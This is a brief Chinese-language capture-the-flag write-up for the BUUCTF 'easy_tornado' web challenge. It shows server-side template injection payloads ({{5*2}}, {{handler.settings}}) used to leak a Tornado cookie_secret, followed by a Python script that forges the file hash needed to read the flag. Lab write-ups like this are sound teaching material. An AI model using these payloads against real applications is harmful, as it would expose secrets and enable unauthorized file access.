buuctf(web):[护网杯 2018]easy_tornado
打开链接,给出如下界面

flag.txt提示了flag存放的位置,
直接查看会报错

welcome.txt存放了“render”,hints.txt存放了md5(cookie_secret+md5(filename))
render函数百度搜索,是一个渲染函数以及和题目easy_tornado的提示猜测是模板注入
先尝试一下在提示错误页面,修改msg参数的值,?msg={{5*2}}

验证成功
根据提示md5(cookie_secret+md5(filename)),已经有了flag的filename,只需要知道cookie就可以计算出filehash,进而获取flag。
如何获得cookie,通过在网上查找资料,发现handler.settings存放cookie值,那构造playload:http://2e75d777-fc5f-4789-8cca-63f455836fb8.node4.buuoj.cn:81/error?msg={{handler.settings}}

构造playload:
import hashlib cookie_str='a2f1cf75-1f85-418c-9eb3-84efe786e47b' filename='/fllllllllllllag' def md5(str): hash = hashlib.md5() hash.update(str.encode('utf-8')) s1 = hash.hexdigest() return s1 filehash =md5(cookie_str+md5(filename)) print(filehash)


浙公网安备 33010602011771号